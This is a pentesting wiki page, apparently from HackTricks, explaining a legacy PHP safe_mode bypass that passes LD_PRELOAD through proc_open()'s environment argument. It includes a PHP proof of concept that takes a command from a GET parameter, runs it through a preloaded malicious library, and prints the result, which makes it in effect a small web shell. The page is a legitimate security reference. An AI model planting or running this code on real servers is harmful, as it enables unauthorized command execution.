disable-functions-bypass-php-safe-mode-bypass-via-proc-open-and-custom-environment-exploit.md (3162B)
1 --- 2 title: "Legacy PHP safemode bypass via procopen and a custom environment" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Legacy PHP `safe_mode` bypass via `proc_open` and a custom environment 14 15 This historical Linux technique uses the environment argument of `proc_open()` to set `LD_PRELOAD` for a child process. The preloaded shared library hooks a function invoked during process startup and runs a command outside PHP's former `safe_mode` restrictions. It requires a writable directory, an enabled `proc_open()`, and a shared library compiled for the target platform.<sup>[[1]](#references)</sup> The fifth argument to `proc_open()` supplies the child process's environment.<sup>[[2]](#references)</sup> PHP removed `safe_mode` in version 5.4, so treat this as a legacy technique rather than a general `disable_functions` bypass.<sup>[[3]](#references)</sup> 16 17 The PHP portion of the original proof of concept writes the requested command to `.comm`, starts a child with the malicious library preloaded, and then reads the captured output:<sup>[[1]](#references)</sup> 18 19 ```php 20 <?php 21 $path = "/var/www"; // Change to a writable path. 22 23 $commandFile = fopen($path . "/.comm", "w"); 24 fputs($commandFile, $_GET["c"]); 25 fclose($commandFile); 26 27 $descriptorSpec = [ 28 0 => ["pipe", "r"], 29 1 => ["file", $path . "/output.txt", "w"], 30 2 => ["file", $path . "/errors.txt", "a"], 31 ]; 32 33 $environment = ["LD_PRELOAD" => $path . "/a.so"]; 34 $process = proc_open("id > /tmp/a", $descriptorSpec, $pipes, ".", $environment); 35 36 sleep(1); 37 $output = fopen($path . "/.comm1", "r"); 38 echo "<pre><b>"; 39 while (!feof($output)) { 40 echo fgets($output); 41 } 42 fclose($output); 43 echo "</b></pre>"; 44 ?> 45 ``` 46 47 The trigger command itself is not the important part and is expected to be blocked or fail in the original scenario. On the affected setup, `proc_open()` first starts `/bin/sh -c`; the dynamic loader processes `LD_PRELOAD` while loading the shell, and the preloaded `getuid()` hook executes the command stored in `.comm` before the shell finishes handling the trigger. The hook then moves the captured output to `.comm1` for the PHP script to read.<sup>[[1]](#references)</sup> 48 49 ## References 50 51 - [1] [Bugtraq - PHP `safe_mode` can be bypassed via `proc_open()` and a custom environment](https://seclists.org/bugtraq/2008/Dec/89) 52 - [2] [PHP manual - `proc_open`](https://www.php.net/manual/en/function.proc-open.php) 53 - [3] [PHP - PHP 5.4.0 release announcement](https://www.php.net/releases/5_4_0.php)